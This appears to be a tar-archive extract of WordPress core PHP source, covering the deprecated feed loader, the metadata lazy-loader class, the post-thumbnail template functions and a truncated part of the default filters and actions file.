������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-feed.php��������������������������������������������������������������������������������������0000644�����������������00000001021�14717703502�0007263 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Feed API * * @package WordPress * @subpackage Feed * @deprecated 4.7.0 */ _deprecated_file( basename( __FILE__ ), '4.7.0', 'fetch_feed()' ); if ( ! class_exists( 'SimplePie', false ) ) { require_once ABSPATH . WPINC . '/class-simplepie.php'; } require_once ABSPATH . WPINC . '/class-wp-feed-cache.php'; require_once ABSPATH . WPINC . '/class-wp-feed-cache-transient.php'; require_once ABSPATH . WPINC . '/class-wp-simplepie-file.php'; require_once ABSPATH . WPINC . '/class-wp-simplepie-sanitize-kses.php'; ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-metadata-lazyloader.php��������������������������������������������������������������������0000644�����������������00000012350�14717703502�0012737 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Meta API: WP_Metadata_Lazyloader class * * @package WordPress * @subpackage Meta * @since 4.5.0 */ /** * Core class used for lazy-loading object metadata. * * When loading many objects of a given type, such as posts in a WP_Query loop, it often makes * sense to prime various metadata caches at the beginning of the loop. This means fetching all * relevant metadata with a single database query, a technique that has the potential to improve * performance dramatically in some cases. * * In cases where the given metadata may not even be used in the loop, we can improve performance * even more by only priming the metadata cache for affected items the first time a piece of metadata * is requested - ie, by lazy-loading it. So, for example, comment meta may not be loaded into the * cache in the comments section of a post until the first time get_comment_meta() is called in the * context of the comment loop. * * WP uses the WP_Metadata_Lazyloader class to queue objects for metadata cache priming. The class * then detects the relevant get_*_meta() function call, and queries the metadata of all queued objects. * * Do not access this class directly. Use the wp_metadata_lazyloader() function. * * @since 4.5.0 */ class WP_Metadata_Lazyloader { /** * Pending objects queue. * * @since 4.5.0 * @var array */ protected $pending_objects; /** * Settings for supported object types. * * @since 4.5.0 * @var array */ protected $settings = array(); /** * Constructor. * * @since 4.5.0 */ public function __construct() { $this->settings = array( 'term' => array( 'filter' => 'get_term_metadata', 'callback' => array( $this, 'lazyload_term_meta' ), ), 'comment' => array( 'filter' => 'get_comment_metadata', 'callback' => array( $this, 'lazyload_comment_meta' ), ), ); } /** * Adds objects to the metadata lazy-load queue. * * @since 4.5.0 * * @param string $object_type Type of object whose meta is to be lazy-loaded. Accepts 'term' or 'comment'. * @param array $object_ids Array of object IDs. * @return void|WP_Error WP_Error on failure. */ public function queue_objects( $object_type, $object_ids ) { if ( ! isset( $this->settings[ $object_type ] ) ) { return new WP_Error( 'invalid_object_type', __( 'Invalid object type.' ) ); } $type_settings = $this->settings[ $object_type ]; if ( ! isset( $this->pending_objects[ $object_type ] ) ) { $this->pending_objects[ $object_type ] = array(); } foreach ( $object_ids as $object_id ) { // Keyed by ID for faster lookup. if ( ! isset( $this->pending_objects[ $object_type ][ $object_id ] ) ) { $this->pending_objects[ $object_type ][ $object_id ] = 1; } } add_filter( $type_settings['filter'], $type_settings['callback'] ); /** * Fires after objects are added to the metadata lazy-load queue. * * @since 4.5.0 * * @param array $object_ids Array of object IDs. * @param string $object_type Type of object being queued. * @param WP_Metadata_Lazyloader $lazyloader The lazy-loader object. */ do_action( 'metadata_lazyloader_queued_objects', $object_ids, $object_type, $this ); } /** * Resets lazy-load queue for a given object type. * * @since 4.5.0 * * @param string $object_type Object type. Accepts 'comment' or 'term'. * @return void|WP_Error WP_Error on failure. */ public function reset_queue( $object_type ) { if ( ! isset( $this->settings[ $object_type ] ) ) { return new WP_Error( 'invalid_object_type', __( 'Invalid object type.' ) ); } $type_settings = $this->settings[ $object_type ]; $this->pending_objects[ $object_type ] = array(); remove_filter( $type_settings['filter'], $type_settings['callback'] ); } /** * Lazy-loads term meta for queued terms. * * This method is public so that it can be used as a filter callback. As a rule, there * is no need to invoke it directly. * * @since 4.5.0 * * @param mixed $check The `$check` param passed from the 'get_term_metadata' hook. * @return mixed In order not to short-circuit `get_metadata()`. Generally, this is `null`, but it could be * another value if filtered by a plugin. */ public function lazyload_term_meta( $check ) { if ( ! empty( $this->pending_objects['term'] ) ) { update_termmeta_cache( array_keys( $this->pending_objects['term'] ) ); // No need to run again for this set of terms. $this->reset_queue( 'term' ); } return $check; } /** * Lazy-loads comment meta for queued comments. * * This method is public so that it can be used as a filter callback. As a rule, there is no need to invoke it * directly, from either inside or outside the `WP_Query` object. * * @since 4.5.0 * * @param mixed $check The `$check` param passed from the {@see 'get_comment_metadata'} hook. * @return mixed The original value of `$check`, so as not to short-circuit `get_comment_metadata()`. */ public function lazyload_comment_meta( $check ) { if ( ! empty( $this->pending_objects['comment'] ) ) { update_meta_cache( 'comment', array_keys( $this->pending_objects['comment'] ) ); // No need to run again for this set of comments. $this->reset_queue( 'comment' ); } return $check; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������post-thumbnail-template.php�������������������������������������������������������������������������0000644�����������������00000025226�14717703502�0012051 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WordPress Post Thumbnail Template Functions. * * Support for post thumbnails. * Theme's functions.php must call add_theme_support( 'post-thumbnails' ) to use these. * * @package WordPress * @subpackage Template */ /** * Determines whether a post has an image attached. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.9.0 * @since 4.4.0 `$post` can be a post ID or WP_Post object. * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`. * @return bool Whether the post has an image attached. */ function has_post_thumbnail( $post = null ) { $thumbnail_id = get_post_thumbnail_id( $post ); $has_thumbnail = (bool) $thumbnail_id; /** * Filters whether a post has a post thumbnail. * * @since 5.1.0 * * @param bool $has_thumbnail true if the post has a post thumbnail, otherwise false. * @param int|WP_Post|null $post Post ID or WP_Post object. Default is global `$post`. * @param int|false $thumbnail_id Post thumbnail ID or false if the post does not exist. */ return (bool) apply_filters( 'has_post_thumbnail', $has_thumbnail, $post, $thumbnail_id ); } /** * Retrieves the post thumbnail ID. * * @since 2.9.0 * @since 4.4.0 `$post` can be a post ID or WP_Post object. * @since 5.5.0 The return value for a non-existing post * was changed to false instead of an empty string. * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`. * @return int|false Post thumbnail ID (which can be 0 if the thumbnail is not set), * or false if the post does not exist. */ function get_post_thumbnail_id( $post = null ) { $post = get_post( $post ); if ( ! $post ) { return false; } $thumbnail_id = (int) get_post_meta( $post->ID, '_thumbnail_id', true ); /** * Filters the post thumbnail ID. * * @since 5.9.0 * * @param int|false $thumbnail_id Post thumbnail ID or false if the post does not exist. * @param int|WP_Post|null $post Post ID or WP_Post object. Default is global `$post`. */ return (int) apply_filters( 'post_thumbnail_id', $thumbnail_id, $post ); } /** * Displays the post thumbnail. * * When a theme adds 'post-thumbnail' support, a special 'post-thumbnail' image size * is registered, which differs from the 'thumbnail' image size managed via the * Settings > Media screen. * * When using the_post_thumbnail() or related functions, the 'post-thumbnail' image * size is used by default, though a different size can be specified instead as needed. * * @since 2.9.0 * * @see get_the_post_thumbnail() * * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array of * width and height values in pixels (in that order). Default 'post-thumbnail'. * @param string|array $attr Optional. Query string or array of attributes. Default empty. */ function the_post_thumbnail( $size = 'post-thumbnail', $attr = '' ) { echo get_the_post_thumbnail( null, $size, $attr ); } /** * Updates cache for thumbnails in the current loop. * * @since 3.2.0 * * @global WP_Query $wp_query WordPress Query object. * * @param WP_Query $wp_query Optional. A WP_Query instance. Defaults to the $wp_query global. */ function update_post_thumbnail_cache( $wp_query = null ) { if ( ! $wp_query ) { $wp_query = $GLOBALS['wp_query']; } if ( $wp_query->thumbnails_cached ) { return; } $thumb_ids = array(); foreach ( $wp_query->posts as $post ) { $id = get_post_thumbnail_id( $post->ID ); if ( $id ) { $thumb_ids[] = $id; } } if ( ! empty( $thumb_ids ) ) { _prime_post_caches( $thumb_ids, false, true ); } $wp_query->thumbnails_cached = true; } /** * Retrieves the post thumbnail. * * When a theme adds 'post-thumbnail' support, a special 'post-thumbnail' image size * is registered, which differs from the 'thumbnail' image size managed via the * Settings > Media screen. * * When using the_post_thumbnail() or related functions, the 'post-thumbnail' image * size is used by default, though a different size can be specified instead as needed. * * @since 2.9.0 * @since 4.4.0 `$post` can be a post ID or WP_Post object. * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`. * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array of * width and height values in pixels (in that order). Default 'post-thumbnail'. * @param string|array $attr Optional. Query string or array of attributes. Default empty. * @return string The post thumbnail image tag. */ function get_the_post_thumbnail( $post = null, $size = 'post-thumbnail', $attr = '' ) { $post = get_post( $post ); if ( ! $post ) { return ''; } $post_thumbnail_id = get_post_thumbnail_id( $post ); /** * Filters the post thumbnail size. * * @since 2.9.0 * @since 4.9.0 Added the `$post_id` parameter. * * @param string|int[] $size Requested image size. Can be any registered image size name, or * an array of width and height values in pixels (in that order). * @param int $post_id The post ID. */ $size = apply_filters( 'post_thumbnail_size', $size, $post->ID ); if ( $post_thumbnail_id ) { /** * Fires before fetching the post thumbnail HTML. * * Provides "just in time" filtering of all filters in wp_get_attachment_image(). * * @since 2.9.0 * * @param int $post_id The post ID. * @param int $post_thumbnail_id The post thumbnail ID. * @param string|int[] $size Requested image size. Can be any registered image size name, or * an array of width and height values in pixels (in that order). */ do_action( 'begin_fetch_post_thumbnail_html', $post->ID, $post_thumbnail_id, $size ); if ( in_the_loop() ) { update_post_thumbnail_cache(); } // Get the 'loading' attribute value to use as default, taking precedence over the default from // `wp_get_attachment_image()`. $loading = wp_get_loading_attr_default( 'the_post_thumbnail' ); // Add the default to the given attributes unless they already include a 'loading' directive. if ( empty( $attr ) ) { $attr = array( 'loading' => $loading ); } elseif ( is_array( $attr ) && ! array_key_exists( 'loading', $attr ) ) { $attr['loading'] = $loading; } elseif ( is_string( $attr ) && ! preg_match( '/(^|&)loading=/', $attr ) ) { $attr .= '&loading=' . $loading; } $html = wp_get_attachment_image( $post_thumbnail_id, $size, false, $attr ); /** * Fires after fetching the post thumbnail HTML. * * @since 2.9.0 * * @param int $post_id The post ID. * @param int $post_thumbnail_id The post thumbnail ID. * @param string|int[] $size Requested image size. Can be any registered image size name, or * an array of width and height values in pixels (in that order). */ do_action( 'end_fetch_post_thumbnail_html', $post->ID, $post_thumbnail_id, $size ); } else { $html = ''; } /** * Filters the post thumbnail HTML. * * @since 2.9.0 * * @param string $html The post thumbnail HTML. * @param int $post_id The post ID. * @param int $post_thumbnail_id The post thumbnail ID, or 0 if there isn't one. * @param string|int[] $size Requested image size. Can be any registered image size name, or * an array of width and height values in pixels (in that order). * @param string|array $attr Query string or array of attributes. */ return apply_filters( 'post_thumbnail_html', $html, $post->ID, $post_thumbnail_id, $size, $attr ); } /** * Returns the post thumbnail URL. * * @since 4.4.0 * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`. * @param string|int[] $size Optional. Registered image size to retrieve the source for or a flat array * of height and width dimensions. Default 'post-thumbnail'. * @return string|false Post thumbnail URL or false if no image is available. If `$size` does not match * any registered image size, the original image URL will be returned. */ function get_the_post_thumbnail_url( $post = null, $size = 'post-thumbnail' ) { $post_thumbnail_id = get_post_thumbnail_id( $post ); if ( ! $post_thumbnail_id ) { return false; } $thumbnail_url = wp_get_attachment_image_url( $post_thumbnail_id, $size ); /** * Filters the post thumbnail URL. * * @since 5.9.0 * * @param string|false $thumbnail_url Post thumbnail URL or false if the post does not exist. * @param int|WP_Post|null $post Post ID or WP_Post object. Default is global `$post`. * @param string|int[] $size Registered image size to retrieve the source for or a flat array * of height and width dimensions. Default 'post-thumbnail'. */ return apply_filters( 'post_thumbnail_url', $thumbnail_url, $post, $size ); } /** * Displays the post thumbnail URL. * * @since 4.4.0 * * @param string|int[] $size Optional. Image size to use. Accepts any valid image size, * or an array of width and height values in pixels (in that order). * Default 'post-thumbnail'. */ function the_post_thumbnail_url( $size = 'post-thumbnail' ) { $url = get_the_post_thumbnail_url( null, $size ); if ( $url ) { echo esc_url( $url ); } } /** * Returns the post thumbnail caption. * * @since 4.6.0 * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`. * @return string Post thumbnail caption. */ function get_the_post_thumbnail_caption( $post = null ) { $post_thumbnail_id = get_post_thumbnail_id( $post ); if ( ! $post_thumbnail_id ) { return ''; } $caption = wp_get_attachment_caption( $post_thumbnail_id ); if ( ! $caption ) { $caption = ''; } return $caption; } /** * Displays the post thumbnail caption. * * @since 4.6.0 * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`. */ function the_post_thumbnail_caption( $post = null ) { /** * Filters the displayed post thumbnail caption. * * @since 4.6.0 * * @param string $caption Caption for the given attachment. */ echo apply_filters( 'the_post_thumbnail_caption', get_the_post_thumbnail_caption( $post ) ); } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������default-filters.php���������������������������������������������������������������������������������0000644�����������������00000074103�14717703502�0010362 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Sets up the default filters and actions for most * of the WordPress hooks. * * If you need to remove a default hook, this file will * give you the priority to use for removing the hook. * * Not all of the default hooks are found in this file. * For instance, administration-related hooks are located in * wp-admin/includes/admin-filters.php. * * If a hook should only be called from a specific context * (admin area, multisite environment…), please move it * to a more appropriate file instead. * * @package WordPress */ // Strip, trim, kses, special chars for string saves. foreach ( array( 'pre_term_name', 'pre_comment_author_name', 'pre_link_name', 'pre_link_target', 'pre_link_rel', 'pre_user_display_name', 'pre_user_first_name', 'pre_user_last_name', 'pre_user_nickname' ) as $filter ) { add_filter( $filter, 'sanitize_text_field' ); add_filter( $filter, 'wp_filter_kses' ); add_filter( $filter, '_wp_specialchars', 30 ); } // Strip, kses, special chars for string display. foreach ( array( 'term_name', 'comment_author_name', 'link_name', 'link_target', 'link_rel', 'user_display_name', 'user_first_name', 'user_last_name', 'user_nickname' ) as $filter ) { if ( is_admin() ) { // These are expensive. Run only on admin pages for defense in depth. add_filter( $filter, 'sanitize_text_field' ); add_filter( $filter, 'wp_kses_data' ); } add_filter( $filter, '_wp_specialchars', 30 ); } // Kses only for textarea saves. foreach ( array( 'pre_term_description', 'pre_link_description', 'pre_link_notes', 'pre_user_description' ) as $filter ) { add_filter( $filter, 'wp_filter_kses' ); } // Kses only for textarea admin displays. if ( is_admin() ) { foreach ( array( 'term_description', 'link_description', 'link_notes', 'user_description' ) as $filter ) { add_filter( $filter, 'wp_kses_data' ); } add_filter( 'comment_text', 'wp_kses_post' ); } // Email saves. foreach ( array( 'pre_comment_author_email', 'pre_user_email' ) as $filter ) { add_filter( $filter, 'trim' ); add_filter( $filter, 'sanitize_email' ); add_filter( $filter, 'wp_filter_kses' ); } // Email admin display. foreach ( array( 'comment_author_email', 'user_email' ) as $filter ) { add_filter( $filter, 'sanitize_email' ); if ( is_admin() ) { add_filter( $filter, 'wp_kses_data' ); } } // Save URL. foreach ( array( 'pre_comment_author_url', 'pre_user_url', 'pre_link_url', 'pre_link_image', 'pre_link_rss', 'pre_post_guid', ) as $filter ) { add_filter( $filter, 'wp_strip_all_tags' ); add_filter( $filter, 'esc_url_raw' ); add_filter( $filter, 'wp_filter_kses' ); } // Display URL. foreach ( array( 'user_url', 'link_url', 'link_image', 'link_rss', 'comment_url', 'post_guid' ) as $filter ) { if ( is_admin() ) { add_filter( $filter, 'wp_strip_all_tags' ); } add_filter( $filter, 'esc_url' ); if ( is_admin() ) { add_filter( $filter, 'wp_kses_data' ); } } // Slugs. add_filter( 'pre_term_slug', 'sanitize_title' ); add_filter( 'wp_insert_post_data', '_wp_customize_changeset_filter_insert_post_data', 10, 2 ); // Keys. foreach ( array( 'pre_post_type', 'pre_post_status', 'pre_post_comment_status', 'pre_post_ping_status' ) as $filter ) { add_filter( $filter, 'sanitize_key' ); } // Mime types. add_filter( 'pre_post_mime_type', 'sanitize_mime_type' ); add_filter( 'post_mime_type', 'sanitize_mime_type' ); // Meta. add_filter( 'register_meta_args', '_wp_register_meta_args_allowed_list', 10, 2 ); // Counts. add_action( 'admin_init', 'wp_schedule_update_user_counts' ); add_action( 'wp_update_user_counts', 'wp_schedule_update_user_counts', 10, 0 ); foreach ( array( 'user_register', 'deleted_user' ) as $action ) { add_action( $action, 'wp_maybe_update_user_counts', 10, 0 ); } // Post meta. add_action( 'added_post_meta', 'wp_cache_set_posts_last_changed' ); add_action( 'updated_post_meta', 'wp_cache_set_posts_last_changed' ); add_action( 'deleted_post_meta', 'wp_cache_set_posts_last_changed' ); // Term meta. add_action( 'added_term_meta', 'wp_cache_set_terms_last_changed' ); add_action( 'updated_term_meta', 'wp_cache_set_terms_last_changed' ); add_action( 'deleted_term_meta', 'wp_cache_set_terms_last_changed' ); add_filter( 'get_term_metadata', 'wp_check_term_meta_support_prefilter' ); add_filter( 'add_term_metadata', 'wp_check_term_meta_support_prefilter' ); add_filter( 'update_term_metadata', 'wp_check_term_meta_support_prefilter' ); add_filter( 'delete_term_metadata', 'wp_check_term_meta_support_prefilter' ); add_filter( 'get_term_metadata_by_mid', 'wp_check_term_meta_support_prefilter' ); add_filter( 'update_term_metadata_by_mid', 'wp_check_term_meta_support_prefilter' ); add_filter( 'delete_term_metadata_by_mid', 'wp_check_term_meta_support_prefilter' ); add_filter( 'update_term_metadata_cache', 'wp_check_term_meta_support_prefilter' ); // Comment meta. add_action( 'added_comment_meta', 'wp_cache_set_comments_last_changed' ); add_action( 'updated_comment_meta', 'wp_cache_set_comments_last_changed' ); add_action( 'deleted_comment_meta', 'wp_cache_set_comments_last_changed' ); // Places to balance tags on input. foreach ( array( 'content_save_pre', 'excerpt_save_pre', 'comment_save_pre', 'pre_comment_content' ) as $filter ) { add_filter( $filter, 'convert_invalid_entities' ); add_filter( $filter, 'balanceTags', 50 ); } // Add proper rel values for links with target. add_action( 'init', 'wp_init_targeted_link_rel_filters' ); // Format strings for display. foreach ( array( 'comment_author', 'term_name', 'link_name', 'link_description', 'link_notes', 'bloginfo', 'wp_title', 'document_title', 'widget_title' ) as $filter ) { add_filter( $filter, 'wptexturize' ); add_filter( $filter, 'convert_chars' ); add_filter( $filter, 'esc_html' ); } // Format WordPress. foreach ( array( 'the_content', 'the_title', 'wp_title', 'document_title' ) as $filter ) { add_filter( $filter, 'capital_P_dangit', 11 ); } add_filter( 'comment_text', 'capital_P_dangit', 31 ); // Format titles. foreach ( array( 'single_post_title', 'single_cat_title', 'single_tag_title', 'single_month_title', 'nav_menu_attr_title', 'nav_menu_description' ) as $filter ) { add_filter( $filter, 'wptexturize' ); add_filter( $filter, 'strip_tags' ); } // Format text area for display. foreach ( array( 'term_description', 'get_the_post_type_description' ) as $filter ) { add_filter( $filter, 'wptexturize' ); add_filter( $filter, 'convert_chars' ); add_filter( $filter, 'wpautop' ); add_filter( $filter, 'shortcode_unautop' ); } // Format for RSS. add_filter( 'term_name_rss', 'convert_chars' ); // Pre save hierarchy. add_filter( 'wp_insert_post_parent', 'wp_check_post_hierarchy_for_loops', 10, 2 ); add_filter( 'wp_update_term_parent', 'wp_check_term_hierarchy_for_loops', 10, 3 ); // Display filters. add_filter( 'the_title', 'wptexturize' ); add_filter( 'the_title', 'convert_chars' ); add_filter( 'the_title', 'trim' ); add_filter( 'the_content', 'do_blocks', 9 ); add_filter( 'the_content', 'wptexturize' ); add_filter( 'the_content', 'convert_smilies', 20 ); add_filter( 'the_content', 'wpautop' ); add_filter( 'the_content', 'shortcode_unautop' ); add_filter( 'the_content', 'prepend_attachment' ); add_filter( 'the_content', 'wp_filter_content_tags' ); add_filter( 'the_content', 'wp_replace_insecure_home_url' ); add_filter( 'the_excerpt', 'wptexturize' ); add_filter( 'the_excerpt', 'convert_smilies' ); add_filter( 'the_excerpt', 'convert_chars' ); add_filter( 'the_excerpt', 'wpautop' ); add_filter( 'the_excerpt', 'shortcode_unautop' ); add_filter( 'the_excerpt', 'wp_filter_content_tags' ); add_filter( 'the_excerpt', 'wp_replace_insecure_home_url' ); add_filter( 'get_the_excerpt', 'wp_trim_excerpt', 10, 2 ); add_filter( 'the_post_thumbnail_caption', 'wptexturize' ); add_filter( 'the_post_thumbnail_caption', 'convert_smilies' ); add_filter( 'the_post_thumbnail_caption', 'convert_chars' ); add_filter( 'comment_text', 'wptexturize' ); add_filter( 'comment_text', 'convert_chars' ); add_filter( 'comment_text', 'make_clickable', 9 ); add_filter( 'comment_text', 'force_balance_tags', 25 ); add_filter( 'comment_text', 'convert_smilies', 20 ); add_filter( 'comment_text', 'wpautop', 30 ); add_filter( 'comment_excerpt', 'convert_chars' ); add_filter( 'list_cats', 'wptexturize' ); add_filter( 'wp_sprintf', 'wp_sprintf_l', 10, 2 ); add_filter( 'widget_text', 'balanceTags' ); add_filter( 'widget_text_content', 'capital_P_dangit', 11 ); add_filter( 'widget_text_content', 'wptexturize' ); add_filter( 'widget_text_content', 'convert_smilies', 20 ); add_filter( 'widget_text_content', 'wpautop' ); add_filter( 'widget_text_content', 'shortcode_unautop' ); add_filter( 'widget_text_content', 'wp_filter_content_tags' ); add_filter( 'widget_text_content', 'wp_replace_insecure_home_url' ); add_filter( 'widget_text_content', 'do_shortcode', 11 ); // Runs after wpautop(); note that $post global will be null when shortcodes run. add_filter( 'widget_block_content', 'do_blocks', 9 ); add_filter( 'widget_block_content', 'wp_filter_content_tags' ); add_filter( 'widget_block_content', 'do_shortcode', 11 ); add_filter( 'block_type_metadata', 'wp_migrate_old_typography_shape' ); add_filter( 'wp_get_custom_css', 'wp_replace_insecure_home_url' ); // RSS filters. add_filter( 'the_title_rss', 'strip_tags' ); add_filter( 'the_title_rss', 'ent2ncr', 8 ); add_filter( 'the_title_rss', 'esc_html' ); add_filter( 'the_content_rss', 'ent2ncr', 8 ); add_filter( 'the_content_feed', 'wp_staticize_emoji' ); add_filter( 'the_content_feed', '_oembed_filter_feed_content' ); add_filter( 'the_excerpt_rss', 'convert_chars' ); add_filter( 'the_excerpt_rss', 'ent2ncr', 8 ); add_filter( 'comment_author_rss', 'ent2ncr', 8 ); add_filter( 'comment_text_rss', 'ent2ncr', 8 ); add_filter( 'comment_text_rss', 'esc_html' ); add_filter( 'comment_text_rss', 'wp_staticize_emoji' ); add_filter( 'bloginfo_rss', 'ent2ncr', 8 ); add_filter( 'the_author', 'ent2ncr', 8 ); add_filter( 'the_guid', 'esc_url' ); // Email filters. add_filter( 'wp_mail', 'wp_staticize_emoji_for_email' ); // Robots filters. add_filter( 'wp_robots', 'wp_robots_noindex' ); add_filter( 'wp_robots', 'wp_robots_noindex_embeds' ); add_filter( 'wp_robots', 'wp_robots_noindex_search' ); add_filter( 'wp_robots', 'wp_robots_max_image_preview_large' ); // Mark site as no longer fresh. foreach ( array( 'publish_post', 'publish_page', 'wp_ajax_save-widget', 'wp_ajax_widgets-order', 'customize_save_after', 'rest_after_save_widget', 'rest_delete_widget', 'rest_save_sidebar', ) as $action ) { add_action( $action, '_delete_option_fresh_site', 0 ); } // Misc filters. add_filter( 'option_ping_sites', 'privacy_ping_filter' ); add_filter( 'option_blog_charset', '_wp_specialchars' ); // IMPORTANT: This must not be wp_specialchars() or esc_html() or it'll cause an infinite loop. add_filter( 'option_blog_charset', '_canonical_charset' ); add_filter( 'option_home', '_config_wp_home' ); add_filter( 'option_siteurl', '_config_wp_siteurl' ); add_filter( 'tiny_mce_before_init', '_mce_set_direction' ); add_filter( 'teeny_mce_before_init', '_mce_set_direction' ); add_filter( 'pre_kses', 'wp_pre_kses_less_than' ); add_filter( 'pre_kses', 'wp_pre_kses_block_attributes', 10, 3 ); add_filter( 'sanitize_title', 'sanitize_title_with_dashes', 10, 3 ); add_action( 'check_comment_flood', 'check_comment_flood_db', 10, 4 ); add_filter( 'comment_flood_filter', 'wp_throttle_comment_flood', 10, 3 ); add_filter( 'pre_comment_content', 'wp_rel_ugc', 15 ); add_filter( 'comment_email', 'antispambot' ); add_filter( 'option_tag_base', '_wp_filter_taxonomy_base' ); add_filter( 'option_category_base', '_wp_filter_taxonomy_base' ); add_filter( 'the_posts', '_close_comments_for_old_posts', 10, 2 ); add_filter( 'comments_open', '_close_comments_for_old_post', 10, 2 ); add_filter( 'pings_open', '_close_comments_for_old_post', 10, 2 ); add_filter( 'editable_slug', 'urldecode' ); add_filter( 'editable_slug', 'esc_textarea' ); add_filter( 'pingback_ping_source_uri', 'pingback_ping_source_uri' ); add_filter( 'xmlrpc_pingback_error', 'xmlrpc_pingback_error' ); add_filter( 'title_save_pre', 'trim' ); add_action( 'transition_comment_status', '_clear_modified_cache_on_transition_comment_status', 10, 2 ); add_filter( 'http_request_host_is_external', 'allowed_http_request_hosts', 10, 2 ); // REST API filters. add_action( 'xmlrpc_rsd_apis', 'rest_output_rsd' ); add_action( 'wp_head', 'rest_output_link_wp_head', 10, 0 ); add_action( 'template_redirect', 'rest_output_link_header', 11, 0 ); add_action( 'auth_cookie_malformed', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_expired', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_bad_username', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_bad_hash', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_valid', 'rest_cookie_collect_status' ); add_action( 'application_password_failed_authentication', 'rest_application_password_collect_status' ); add_action( 'application_password_did_authenticate', 'rest_application_password_collect_status', 10, 2 ); add_filter( 'rest_authentication_errors', 'rest_application_password_check_errors', 90 ); add_filter( 'rest_authentication_errors', 'rest_cookie_check_errors', 100 ); // Actions. add_action( 'wp_head', '_wp_render_title_tag', 1 ); add_action( 'wp_head', 'wp_enqueue_scripts', 1 ); add_action( 'wp_head', 'wp_resource_hints', 2 ); add_action( 'wp_head', 'feed_links', 2 ); add_action( 'wp_head', 'feed_links_extra', 3 ); add_action( 'wp_head', 'rsd_link' ); add_action( 'wp_head', 'wlwmanifest_link' ); add_action( 'wp_head', 'locale_stylesheet' ); add_action( 'publish_future_post', 'check_and_publish_future_post', 10, 1 ); add_action( 'wp_head', 'wp_robots', 1 ); add_action( 'wp_head', 'print_emoji_detection_script', 7 ); add_action( 'wp_head', 'wp_print_styles', 8 ); add_action( 'wp_head', 'wp_print_head_scripts', 9 ); add_action( 'wp_head', 'wp_generator' ); add_action( 'wp_head', 'rel_canonical' ); add_action( 'wp_head', 'wp_shortlink_wp_head', 10, 0 ); add_action( 'wp_head', 'wp_custom_css_cb', 101 ); add_action( 'wp_head', 'wp_site_icon', 99 ); add_action( 'wp_footer', 'wp_print_footer_scripts', 20 ); add_action( 'template_redirect', 'wp_shortlink_header', 11, 0 ); add_action( 'wp_print_footer_scripts', '_wp_footer_scripts' ); add_action( 'init', '_register_core_block_patterns_and_categories' ); add_action( 'init', 'check_theme_switched', 99 ); add_action( 'init', array( 'WP_Block_Supports', 'init' ), 22 ); add_action( 'switch_theme', array( 'WP_Theme_JSON_Resolver', 'clean_cached_data' ) ); add_action( 'start_previewing_theme', array( 'WP_Theme_JSON_Resolver', 'clean_cached_data' ) ); add_action( 'after_switch_theme', '_wp_menus_changed' ); add_action( 'after_switch_theme', '_wp_sidebars_changed' ); add_action( 'wp_print_styles', 'print_emoji_styles' ); add_action( 'plugins_loaded', '_wp_theme_json_webfonts_handler' ); if ( isset( $_GET['replytocom'] ) ) { add_filter( 'wp_robots', 'wp_robots_no_robots' ); } // Login actions. add_action( 'login_head', 'wp_robots', 1 ); add_filter( 'login_head', 'wp_resource_hints', 8 ); add_action( 'login_head', 'wp_print_head_scripts', 9 ); add_action( 'login_head', 'print_admin_styles', 9 ); add_action( 'login_head', 'wp_site_icon', 99 ); add_action( 'login_footer', 'wp_print_footer_scripts', 20 ); add_action( 'login_init', 'send_frame_options_header', 10, 0 ); // Feed generator tags. foreach ( array( 'rss2_head', 'commentsrss2_head', 'rss_head', 'rdf_header', 'atom_head', 'comments_atom_head', 'opml_head', 'app_head' ) as $action ) { add_action( $action, 'the_generator' ); } // Feed Site Icon. add_action( 'atom_head', 'atom_site_icon' ); add_action( 'rss2_head', 'rss2_site_icon' ); // WP Cron. if ( ! defined( 'DOING_CRON' ) ) { add_action( 'init', 'wp_cron' ); } // HTTPS detection. add_action( 'init', 'wp_schedule_https_detection' ); add_action( 'wp_https_detection', 'wp_update_https_detection_errors' ); add_filter( 'cron_request', 'wp_cron_conditionally_prevent_sslverify', 9999 ); // HTTPS migration. add_action( 'update_option_home', 'wp_update_https_migration_required', 10, 2 ); // 2 Actions 2 Furious. add_action( 'do_feed_rdf', 'do_feed_rdf', 10, 0 ); add_action( 'do_feed_rss', 'do_feed_rss', 10, 0 ); add_action( 'do_feed_rss2', 'do_feed_rss2', 10, 1 ); add_action( 'do_feed_atom', 'do_feed_atom', 10, 1 ); add_action( 'do_pings', 'do_all_pings', 10, 0 ); add_action( 'do_all_pings', 'do_all_pingbacks', 10, 0 ); add_action( 'do_all_pings', 'do_all_enclosures', 10, 0 ); add_action( 'do_all_pings', 'do_all_trackbacks', 10, 0 ); add_action( 'do_all_pings', 'generic_ping', 10, 0 ); add_action( 'do_robots', 'do_robots' ); add_action( 'do_favicon', 'do_favicon' ); add_action( 'set_comment_cookies', 